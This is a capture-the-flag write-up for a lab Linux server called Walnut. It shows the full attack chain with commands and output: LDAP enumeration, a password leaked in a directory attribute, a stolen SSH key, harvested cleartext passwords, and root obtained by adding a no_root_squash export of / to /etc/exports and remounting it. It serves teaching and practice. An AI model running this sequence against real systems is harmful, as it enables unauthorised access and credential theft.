Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Walnut

Target Information

Property Value
Target walnut.local (10.1.32.84)
Platform Linux — Ubuntu 24.04, Samba, OpenLDAP, NFS
Engagement Assumed Breach
Starting point Client-supplied credentials larryburns:IloveMontgommery!

This was an Assumed Breach engagement. The client supplied one set of credentials at the start, so there was no initial-compromise step to find:

username: larryburns
password: IloveMontgommery!
Host: walnut.local

The goal was to see how far those credentials could go.

Enumeration

Port Scan

nmap -Pn -P -A 10.1.32.84

Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-09 10:23 UTC
Nmap scan report for 10.1.32.84
Host is up (0.15s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a1:50:1d:04:de:66:51:74:29:2d:8e:87:af:5d:7d:17 (ECDSA)
|_  256 4a:db:47:8c:fa:61:66:2e:22:e5:df:da:bb:b3:ce:c5 (ED25519)
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|_  100003  3,4         2049/tcp6  nfs
139/tcp  open  netbios-ssn Samba smbd 4
389/tcp  open  ldap        OpenLDAP 2.2.X - 2.3.X
445/tcp  open  netbios-ssn Samba smbd 4
2049/tcp open  nfs         3-4 (RPC #100003)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
# … (OS fingerprint trimmed)
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2026-09-09T10:24:13
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: WALNUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   146.20 ms 10.200.0.1
2   ...
3   148.30 ms 10.1.32.84

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.79 seconds

The host was a Linux file and identity server: SSH, Samba, OpenLDAP and NFS (with rpcbind advertising nfs on 2049). After adding walnut.local to /etc/hosts, I tried the supplied credentials against each service.

Testing the Supplied Credentials

SSH first:

ssh larryburns@walnut.local

The authenticity of host 'walnut.local (10.1.32.84)' can't be established.
ED25519 key fingerprint is: SHA256:9TOwy8Eh/hVF5PEdV/z7to2IyeMked+UZMJXlA4HGcY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'walnut.local' (ED25519) to the list of known hosts.
larryburns@walnut.local's password:
Permission denied, please try again.
larryburns@walnut.local's password:
Permission denied, please try again.
larryburns@walnut.local's password:

The password was rejected over SSH. Over SMB, NetExec reported the login as (Guest) — Samba had fallen back to a guest mapping rather than accepting larryburns — and share enumeration was denied:

nxc smb walnut.local -u 'larryburns' -p 'IloveMontgommery!' --shares

SMB         10.1.32.84      445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB         10.1.32.84      445    WALNUT           [+] local\larryburns:IloveMontgommery! (Guest)
SMB         10.1.32.84      445    WALNUT           [-] Error enumerating shares: STATUS_ACCESS_DENIED

NetExec’s LDAP module couldn’t get a result either. The server answered that searches need authentication:

nxc ldap walnut.local -u 'larryburns' -p 'IloveMontgommery!'

[10:29:51] ERROR    Exception while calling proto_flow() on target walnut.local: Error in searchRequest -> unwillingToPerform: authentication required                                                                     connection.py:176

The NFS export list was empty:

showmount -e walnut.local

Export list for walnut.local:

A UDP scan added nothing new:

nmap -Pn -sU 10.1.32.84

Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-09 10:33 UTC
# … (progress lines trimmed)
Nmap scan report for walnut.local (10.1.32.84)
Host is up (0.15s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
111/udp open          rpcbind
137/udp open          netbios-ns
138/udp open|filtered netbios-dgm

Nmap done: 1 IP address (1 host up) scanned in 1088.86 seconds

SMB Without Credentials

With the supplied account mapped to guest, I checked what an unauthenticated session could see. A null session could at least enumerate share names, and one of them stood out: automation. Explicit guest was denied again.

nxc smb walnut.local -u '' -p '' --shares

SMB         10.1.32.84      445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB         10.1.32.84      445    WALNUT           [+] local\:
SMB         10.1.32.84      445    WALNUT           [*] Enumerated shares
SMB         10.1.32.84      445    WALNUT           Share           Permissions     Remark
SMB         10.1.32.84      445    WALNUT           -----           -----------     ------
SMB         10.1.32.84      445    WALNUT           print$                          Printer Drivers
SMB         10.1.32.84      445    WALNUT           automation                      automation share
SMB         10.1.32.84      445    WALNUT           IPC$                            IPC Service (walnut server (Samba, Ubuntu))
nxc smb walnut.local -u 'guest' -p '' --shares

SMB         10.1.32.84      445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB         10.1.32.84      445    WALNUT           [+] local\guest: (Guest)
SMB         10.1.32.84      445    WALNUT           [-] Error enumerating shares: STATUS_ACCESS_DENIED

LDAP — Finding the Right Bind DN

NetExec’s LDAP failure didn’t prove the password was wrong. OpenLDAP needs a full DN to bind, so I tested the credentials directly with ldapwhoami. A bare username isn’t a DN:

ldapwhoami -x \
  -H ldap://walnut.local \
  -D 'larryburns' \
  -w 'IloveMontgommery!'

ldap_bind: Invalid DN syntax (34)
        additional info: invalid DN

Anonymous binds were disabled, so I couldn’t read the naming context first:

ldapsearch -x \
  -H ldap://walnut.local \
  -s base \
  -b '' \
  '(objectClass=*)' \
  namingContexts

ldap_bind: Inappropriate authentication (48)
        additional info: anonymous bind disallowed

A DN directly under the base was rejected as invalid credentials:

ldapwhoami -x \
  -H ldap://walnut.local \
  -D 'uid=larryburns,dc=walnut,dc=local' \
  -w 'IloveMontgommery!'

ldap_bind: Invalid credentials (49)

Under ou=People, the bind worked. The supplied password was valid; it simply belonged to LDAP rather than SSH or Samba.

ldapwhoami -x \
  -H ldap://walnut.local \
  -D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
  -w 'IloveMontgommery!'

dn:uid=larryburns,ou=People,dc=walnut,dc=local

With an authenticated bind, I listed the directory:

ldapsearch -LLL -x \
  -H ldap://walnut.local \
  -D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
  -w 'IloveMontgommery!' \
  -b 'dc=walnut,dc=local' \
  '(objectClass=*)' \
  dn

dn: dc=walnut,dc=local

dn: ou=Groups,dc=walnut,dc=local

dn: ou=People,dc=walnut,dc=local

dn: cn=automation,ou=Groups,dc=walnut,dc=local

dn: cn=briangeoff,ou=Groups,dc=walnut,dc=local

dn: cn=larryburns,ou=Groups,dc=walnut,dc=local

dn: uid=automation,ou=People,dc=walnut,dc=local

dn: uid=briangeoff,ou=People,dc=walnut,dc=local

dn: uid=larryburns,ou=People,dc=walnut,dc=local

Three people entries: larryburns, briangeoff, and a service-style automation account matching the SMB share name. I pulled the full entry for each. My own entry included a userPassword attribute (base64 of a {SSHA} salted hash); briangeoff had nothing unusual.

ldapsearch -LLL -x \
  -H ldap://walnut.local \
  -D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
  -w 'IloveMontgommery!' \
  -b 'uid=larryburns,ou=People,dc=walnut,dc=local' \
  '(objectClass=*)' \
  '*'

dn: uid=larryburns,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: larryburns
sn: Burns
givenName: Larry
cn: larryburns
displayName: larryburns
uidNumber: 1001
gidNumber: 1001
gecos: Larry Burns
loginShell: /bin/bash
homeDirectory: /home/larryburns
userPassword:: e1NTSEF9amdUN0V4SEtocDVDQm92clBaYzhMYkJiNXVwK1JNcUI=
ldapsearch -LLL -x \
  -H ldap://walnut.local \
  -D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
  -w 'IloveMontgommery!' \
  -b 'uid=briangeoff,ou=People,dc=walnut,dc=local' \
  '(objectClass=*)' \
  '*'

dn: uid=briangeoff,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: briangeoff
sn: Geoff
givenName: Brian
cn: briangeoff
displayName: briangeoff
uidNumber: 1000
gidNumber: 1000
gecos: Brian Geoff
loginShell: /bin/bash
homeDirectory: /home/briangeoff

The automation entry had a password left in its description:

ldapsearch -LLL -x \
  -H ldap://walnut.local \
  -D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
  -w 'IloveMontgommery!' \
  -b 'uid=automation,ou=People,dc=walnut,dc=local' \
  '(objectClass=*)' \
  '*'

dn: uid=automation,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: automation
sn: automation
givenName: automation
cn: automation
displayName: automation
uidNumber: 7789
gidNumber: 7789
gecos: automation
loginShell: /bin/bash
homeDirectory: /home/automation
description: old pw asdh023incasdahff9 please change pw on all servers
automation:asdh023incasdahff9

The note says “old pw”, but the account shared its name with the SMB share, so it was worth testing there.

SMB — The automation Home Share

nxc smb walnut.local -u 'automation' -p 'asdh023incasdahff9' --shares

SMB         10.1.32.84      445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB         10.1.32.84      445    WALNUT           [+] local\automation:asdh023incasdahff9
SMB         10.1.32.84      445    WALNUT           [*] Enumerated shares
SMB         10.1.32.84      445    WALNUT           Share           Permissions     Remark
SMB         10.1.32.84      445    WALNUT           -----           -----------     ------
SMB         10.1.32.84      445    WALNUT           print$          READ            Printer Drivers
SMB         10.1.32.84      445    WALNUT           automation      READ,WRITE      automation share
SMB         10.1.32.84      445    WALNUT           IPC$                            IPC Service (walnut server (Samba, Ubuntu))

The “old” password still worked, with read/write on automation. The share turned out to be the account’s home directory, including .ssh:

smbclient //walnut.local/automation \
  -U 'automation%asdh023incasdahff9'

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  9 11:02:50 2026
  ..                                  D        0  Wed Sep  9 11:02:50 2026
  .bash_history                       H       10  Sun Aug 30 13:04:58 2026
  scripts                             D        0  Thu Sep 18 20:28:59 2025
  .ssh                               DH        0  Fri Sep 19 13:39:26 2025
  .hidden                            DH        0  Thu Sep 18 19:22:44 2025
  .cache                             DH        0  Thu Sep 18 13:38:52 2025
  .lesshst                            H       20  Thu Sep 18 19:24:25 2025
  user.txt                            N       33  Sun Aug 30 12:53:47 2026
  .viminfo                            H    11817  Thu Sep 18 20:28:59 2025

                8408452 blocks of size 1024. 2716576 blocks available
smb: \> get user.txt
getting file \user.txt of size 33 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> get .bash_history
getting file \.bash_history of size 10 as .bash_history (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> get .ssh
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \.ssh
smb: \> cd .ssh
smb: \.ssh\> ls
  .                                   D        0  Fri Sep 19 13:39:26 2025
  ..                                  D        0  Wed Sep  9 11:02:50 2026
  id_rsa.pub                          N      576  Thu Sep 18 13:12:15 2025
  id_rsa                              N     2610  Thu Sep 18 13:12:15 2025
  authorized_keys                     N      576  Fri Sep 19 13:39:26 2025

                8408452 blocks of size 1024. 2716568 blocks available
smb: \.ssh\> get id_rsa
getting file \.ssh\id_rsa of size 2610 as id_rsa (4.2 KiloBytes/sec) (average 1.4 KiloBytes/sec)
smb: \.ssh\> get id_rsa.pub
getting file \.ssh\id_rsa.pub of size 576 as id_rsa.pub (0.9 KiloBytes/sec) (average 1.3 KiloBytes/sec)
smb: \.ssh\> get authorized_keys
getting file \.ssh\authorized_keys of size 576 as authorized_keys (0.9 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \.ssh\>
cat user.txt

c3dcdda3950b1eca68477ce65da82392
cat .bash_history

su -
exit

The user flag was in the share root. .bash_history held only su - and exit.

The SSH server refused password authentication for automation entirely, so the private key from .ssh was the way in:

ssh automation@walnut.local

automation@walnut.local: Permission denied (publickey).
chmod 600 id_rsa

ssh-keygen -y -f id_rsa

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB1bjZks2NPsYZe87rUrtU65V6vPm5kA3dKsktzEUiwMLn5H9cVj2JuPo6XknRWvFKXHWI8mVWl7fwF344aNJ8GThO5p9VpKqM1dEFr2g/T76vSN/+T6WSE7u0jRzZsm/LIRUH1qTqfmNQYwKVS+DbdWdsrqDSPoWftlUs+E4zy3EfPIFmks1mqwJvwezKFxn4QWTwgLXXXZclYmVYF+7dRpLUSHBvOl+hxu7DjSOh0StfXFvQ9sg2ZZX88ousPdqauqC+G2DB4Cwded4/gluxvbssd1sA8EghTfQwy03c1ASVJx/v6gQmEImD/0/NG/84rk06i04B6JxVkaN978/XfmEhh6l2OZl3T/eXxhAJeQJlLOCv1/ULLxts5EtpIEHEU9PKCcLMU218uZmbDp2uCsDLujfqsr6BMr3jabztSCR3ykroBE084bbJaZuf0oxjO3hfHzzDrEawACcC2guL6mqq3REPBwhJzeBg2GKmXsVmL1oOHOvxKMqIywNM1dM= automation@graybox.htb

ssh-keygen -y read the key without asking for a passphrase, so it was usable as-is.

Foothold — automation

ssh -i id_rsa automation@walnut.local

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
Last login: Sun Aug 30 12:58:35 2026 from 10.0.0.247
automation@walnut:~$ whoami; id
automation
uid=7789(automation) gid=7789(automation) groups=7789(automation)
automation@walnut:~$ pwd
/home/automation
automation@walnut:~$ sudo -l
[sudo] password for automation:
Sorry, user automation may not run sudo on walnut.

No sudo rights. Nothing in the SUID or capability lists stood out:

automation@walnut:~$ find / -user root -perm /4000 2>/dev/null
/usr/sbin/mount.nfs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/gpasswd
automation@walnut:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep

The home directory had a scripts folder with a helper and its logs:

automation@walnut:~$ ls
scripts  user.txt
automation@walnut:~$ ls -la ~/scripts
total 16
drwxrwxr-x 3 automation automation 4096 Sep 18  2025 .
drwxr-x--- 6 automation automation 4096 Sep  9 11:02 ..
drwxrwxr-x 2 automation automation 4096 Sep 19  2025 logs
-rwxrwxrwx 1 automation automation  226 Sep 18  2025 runScript.sh
automation@walnut:~$ ls -la ~/scripts/logs/
total 16
drwxrwxr-x 2 automation automation 4096 Sep 19  2025 .
drwxrwxr-x 3 automation automation 4096 Sep 18  2025 ..
-rw-rw-r-- 1 automation automation    0 Sep 19  2025 localjob1-19.09.2025-14h09.06.log
-rw-rw-r-- 1 automation automation   10 Sep 19  2025 localjob1-19.09.2025-14h09.21.log
-rw-rw-r-- 1 automation automation   10 Sep 19  2025 localjob1-19.09.2025-15h09.19.log
-rw-rw-r-- 1 automation automation    0 Sep 19  2025 localjob3-19.09.2025-14h09.27.log
automation@walnut:~$ cat ~/scripts/logs/*.log
localjob1
localjob1
automation@walnut:~$ cat ~/scripts/runScript.sh
#!/bin/bash

PARM1="$1"
PARM2=`echo -n "$1" | md5sum | cut -d' ' -f 1`
PARM3="$2"
DATE=`date +%d.%m.%Y-%Hh%m.%S`

su - "$PARM1" -c "$PARM3" < /home/automation/.hidden/"$PARM2" > /home/automation/scripts/logs/"$1"-"$DATE".log

runScript.sh explains the account’s purpose. It runs a command as another user with su - "$PARM1" and feeds that user’s password on stdin from /home/automation/.hidden/<md5(username)>. The log files were named after localjob1 and localjob3. So .hidden should hold cleartext passwords for every account this script manages, named by the MD5 of the username.

automation@walnut:~$ ls -la
total 48
drwxr-x--- 6 automation automation  4096 Sep  9 11:02 .
drwxr-xr-x 7 root       root        4096 Sep 18  2025 ..
-rw------- 1 automation automation    10 Aug 30 13:04 .bash_history
drwx------ 2 automation automation  4096 Sep 18  2025 .cache
drwx------ 2 automation automation  4096 Sep 18  2025 .hidden
-rw------- 1 automation automation    20 Sep 18  2025 .lesshst
drwx------ 2 automation automation  4096 Sep 19  2025 .ssh
-rw------- 1 automation automation 11817 Sep 18  2025 .viminfo
drwxrwxr-x 3 automation automation  4096 Sep 18  2025 scripts
-rw------- 1 automation automation    33 Aug 30 12:53 user.txt
automation@walnut:~$ ls -la ~/.hidden/
total 24
drwx------ 2 automation automation 4096 Sep 18  2025 .
drwxr-x--- 6 automation automation 4096 Sep  9 11:02 ..
-rw------- 1 automation automation   21 Sep 18  2025 4f378611beed879f4f62a43ac18452a9
-rw------- 1 automation automation   21 Sep 18  2025 af5f60ab1fe78c4a34e37c9cb4cc58b8
-rw------- 1 automation automation   21 Sep 18  2025 b410af005ed0c033fd5e89720fdf2d57
-rw------- 1 automation automation    0 Sep 18  2025 b4d2ab0ea77f3306355ac7b2bcfcd614
-rw------- 1 automation automation   21 Sep 18  2025 b4d2ab0ea77f3306355ac7b2bcfcd614.bak
automation@walnut:~$ cat ~/.hidden/4f378611beed879f4f62a43ac18452a9
brYfZknjTirtrPgM8V65
automation@walnut:~$ cat ~/.hidden/af5f60ab1fe78c4a34e37c9cb4cc58b8
cKvFZVPbrxEqCkCLPM70
automation@walnut:~$ cat ~/.hidden/b410af005ed0c033fd5e89720fdf2d57
Q8NPUgCvuBQ636tzFBh3
automation@walnut:~$ cat ~/.hidden/b4d2ab0ea77f3306355ac7b2bcfcd614
automation@walnut:~$ cat ~/.hidden/b4d2ab0ea77f3306355ac7b2bcfcd614.bak
vyZzRcreRGDjbq9t19Tb

Four 20-character passwords, one empty file with a .bak copy, and no usernames. Because the filenames are MD5s of usernames, I mapped them back by hashing every account in /etc/passwd:

automation@walnut:~$ nano map_hidden.sh
automation@walnut:~$ cat map_hidden.sh
#!/bin/bash

HIDDEN_DIR="$HOME/.hidden"

while IFS=: read -r user _; do
    hash=$(echo -n "$user" | md5sum | cut -d' ' -f1)

    if [ -f "$HIDDEN_DIR/$hash" ]; then
        echo "[+] USER: $user"
        echo "    HASH: $hash"
        echo -n "    PASS: "
        cat "$HIDDEN_DIR/$hash"
        echo
    fi

    if [ -f "$HIDDEN_DIR/$hash.bak" ]; then
        echo "[+] USER: $user (BAK)"
        echo "    HASH: $hash"
        echo -n "    PASS: "
        cat "$HIDDEN_DIR/$hash.bak"
        echo
    fi
done < /etc/passwd
automation@walnut:~$ chmod +x ~/map_hidden.sh
automation@walnut:~$ ~/map_hidden.sh
[+] USER: localjob1
    HASH: 4f378611beed879f4f62a43ac18452a9
    PASS: brYfZknjTirtrPgM8V65

[+] USER: localjob2
    HASH: af5f60ab1fe78c4a34e37c9cb4cc58b8
    PASS: cKvFZVPbrxEqCkCLPM70

[+] USER: localjob3
    HASH: b4d2ab0ea77f3306355ac7b2bcfcd614
    PASS:
[+] USER: localjob3 (BAK)
    HASH: b4d2ab0ea77f3306355ac7b2bcfcd614
    PASS: vyZzRcreRGDjbq9t19Tb

[+] USER: localjob4
    HASH: b410af005ed0c033fd5e89720fdf2d57
    PASS: Q8NPUgCvuBQ636tzFBh3
localjob1:brYfZknjTirtrPgM8V65
localjob2:cKvFZVPbrxEqCkCLPM70
localjob3:vyZzRcreRGDjbq9t19Tb
localjob4:Q8NPUgCvuBQ636tzFBh3

Lateral Movement — the localjob Accounts

I switched into each account and checked sudo -l:

automation@walnut:~$ su - localjob1
Password:
localjob1@walnut:~$ id
sudo -l
uid=5000(localjob1) gid=5000(localjob1) groups=5000(localjob1),100(users)
[sudo] password for localjob1:
Sorry, user localjob1 may not run sudo on walnut.
localjob1@walnut:~$ exit
logout
automation@walnut:~$ su - localjob2
Password:
localjob2@walnut:~$ id; sudo -l
uid=5001(localjob2) gid=5001(localjob2) groups=5001(localjob2),100(users)
[sudo] password for localjob2:
Sorry, user localjob2 may not run sudo on walnut.
localjob2@walnut:~$ exit
logout
automation@walnut:~$ su - localjob3
Password:
localjob3@walnut:~$ id ; sudo -l
uid=5002(localjob3) gid=5002(localjob3) groups=5002(localjob3),100(users)
Matching Defaults entries for localjob3 on walnut:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User localjob3 may run the following commands on walnut:
    (ALL) NOPASSWD: /usr/bin/systemctl restart nfs-kernel-server.service

localjob1 and localjob2 had nothing. localjob3 — the account whose password only existed in the .bak copy — could restart the NFS server as root without a password.

Privilege Escalation — NFS no_root_squash

A restart alone only matters if something it reads is under my control. The unit file showed that every start runs exportfs -r, which reloads /etc/exports:

localjob3@walnut:~$ systemctl cat nfs-kernel-server.service
# /usr/lib/systemd/system/nfs-server.service
[Unit]
Description=NFS server and services
DefaultDependencies=no
Requires=network.target proc-fs-nfsd.mount
Requires=nfs-mountd.service
Wants=rpcbind.socket network-online.target
Wants=rpc-statd.service nfs-idmapd.service
Wants=rpc-statd-notify.service
Wants=nfsdcld.service

After=network-online.target local-fs.target
After=proc-fs-nfsd.mount rpcbind.socket nfs-mountd.service
After=nfs-idmapd.service rpc-statd.service
After=nfsdcld.service
Before=rpc-statd-notify.service

# GSS services dependencies and ordering
Wants=auth-rpcgss-module.service rpc-svcgssd.service
After=rpc-gssd.service gssproxy.service rpc-svcgssd.service

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStartPre=-/usr/sbin/exportfs -r
ExecStart=/usr/sbin/rpc.nfsd
ExecStop=/usr/sbin/rpc.nfsd 0
ExecStopPost=/usr/sbin/exportfs -au
ExecStopPost=/usr/sbin/exportfs -f

ExecReload=-/usr/sbin/exportfs -r

[Install]
WantedBy=multi-user.target

/etc/exports contained only comments, which is why showmount had been empty from outside. But the file had a + on its permissions, so I checked the ACL:

localjob3@walnut:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

localjob3@walnut:~$ ls -la /etc/exports /etc/default/nfs-kernel-server /etc/nfs.conf 2>/dev/
-rw-r--r--  1 root root  225 Feb 26  2024 /etc/default/nfs-kernel-server
-rw-rw-r--+ 1 root root  390 Sep 19  2025 /etc/exports
-rw-r--r--  1 root root 1443 Feb 26  2024 /etc/nfs.conf
localjob3@walnut:~$ getfacl /etc/exports
getfacl: Removing leading '/' from absolute path names
# file: etc/exports
# owner: root
# group: root
user::rw-
user:localjob3:rw-
group::r--
mask::rw-
other::r--

localjob3 had an explicit rw ACL entry on /etc/exports. Together with the sudo restart, that meant I could export any path with any options. I backed up the file, exported / to everyone with no_root_squash, and restarted the service:

localjob3@walnut:~$ cp /etc/exports /tmp/exports.bak
localjob3@walnut:~$ echo '/ *(rw,sync,no_subtree_check,no_root_squash)' >> /etc/exports
localjob3@walnut:~$ tail /etc/exports
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/ *(rw,sync,no_subtree_check,no_root_squash)
localjob3@walnut:~$ sudo /usr/bin/systemctl restart nfs-kernel-server.service

From the attacker machine, the new export was live:

showmount -e walnut.local

Export list for walnut.local:
/ *

I mounted the whole filesystem:

sudo mkdir -p /mnt/walnut

[sudo] password for kali:

sudo mount -t nfs walnut.local:/ /mnt/walnut
ls -la /mnt/walnut

total 1613936
drwxr-xr-x  24 root root       4096 Sep 18  2025 .
drwxr-xr-x   4 root root       4096 Sep  9 11:32 ..
lrwxrwxrwx   1 root root          7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root root       4096 Feb 26  2024 bin.usr-is-merged
drwxr-xr-x   2 root root       4096 Sep 18  2025 boot
dr-xr-xr-x   2 root root       4096 Feb 16  2025 cdrom
drwxr-xr-x   4 root root       4096 Feb 16  2025 dev
drwxr-xr-x 102 root root       4096 Aug 30 13:04 etc
drwxr-xr-x   7 root root       4096 Sep 18  2025 home
lrwxrwxrwx   1 root root          7 Apr 22  2024 lib -> usr/lib
lrwxrwxrwx   1 root root          9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root       4096 Feb 26  2024 lib.usr-is-merged
drwx------   2 root root      16384 Sep 18  2025 lost+found
drwxr-xr-x   2 root root       4096 Feb 16  2025 media
drwxr-xr-x   2 root root       4096 Feb 16  2025 mnt
drwxr-xr-x   2 root root       4096 Feb 16  2025 opt
drwxr-xr-x   2 root root       4096 Apr 22  2024 proc
drwx------   5 root root       4096 Aug 30 12:53 root
drwxr-xr-x  13 root root       4096 Feb 16  2025 run
lrwxrwxrwx   1 root root          8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root       4096 Aug 22  2024 sbin.usr-is-merged
drwxr-xr-x   2 7789 7789       4096 Sep 18  2025 scripts
drwxr-xr-x   2 root root       4096 Sep 18  2025 snap
drwxr-xr-x   2 root root       4096 Feb 16  2025 srv
-rw-------   1 root root 1652555776 Sep 18  2025 swap.img
drwxr-xr-x   2 root root       4096 Apr 22  2024 sys
drwxrwxrwt  10 root root       4096 Sep  9 11:30 tmp
drwxr-xr-x  12 root root       4096 Feb 16  2025 usr
drwxr-xr-x  12 root root       4096 Sep 18  2025 var

no_root_squash means requests from root on the client stay root on the server. As my normal user, /root was unreadable:

cat /mnt/walnut/root/root.txt

cat: /mnt/walnut/root/root.txt: Permission denied

With sudo on my side, it was readable:

sudo cat /mnt/walnut/root/root.txt

f42a447b64f431b99d7fe59f65f71bc7

Root’s flag, read through the NFS export.

Attack Path Summary

Assumed Breach: client-supplied larryburns:IloveMontgommery!
↓
Password rejected on SSH; SMB maps it to guest; NetExec LDAP needs auth
↓
ldapwhoami — valid bind as uid=larryburns,ou=People,dc=walnut,dc=local
↓
LDAP description on uid=automation leaks "old pw" asdh023incasdahff9
↓
SMB automation share (RW) = automation's home → user.txt + .ssh/id_rsa
↓
SSH as automation with the key
↓
runScript.sh → ~/.hidden/<md5(username)> stores su passwords → mapped to localjob1–4
↓
localjob3: sudo NOPASSWD systemctl restart nfs-kernel-server + rw ACL on /etc/exports
↓
Append "/ *(rw,sync,no_subtree_check,no_root_squash)" → restart → exportfs -r
↓
Mount walnut.local:/ as root from attacker → /root/root.txt

Credentials Found

Principal Credential Source
larryburns IloveMontgommery! Supplied by the client (Assumed Breach); valid for LDAP bind
automation asdh023incasdahff9 LDAP description attribute (“old pw”); valid for SMB
automation SSH private key automation SMB share → .ssh/id_rsa
localjob1 brYfZknjTirtrPgM8V65 ~automation/.hidden/4f378611…
localjob2 cKvFZVPbrxEqCkCLPM70 ~automation/.hidden/af5f60ab…
localjob3 vyZzRcreRGDjbq9t19Tb ~automation/.hidden/b4d2ab0e….bak
localjob4 Q8NPUgCvuBQ636tzFBh3 ~automation/.hidden/b410af00…
Flag Value
user.txt c3dcdda3950b1eca68477ce65da82392
root.txt f42a447b64f431b99d7fe59f65f71bc7

Tools Used

  • Nmap
  • NetExec
  • OpenSSH (ssh, ssh-keygen)
  • OpenLDAP clients (ldapwhoami, ldapsearch)
  • smbclient
  • showmount / NFS client (mount -t nfs)
  • Bash (custom map_hidden.sh)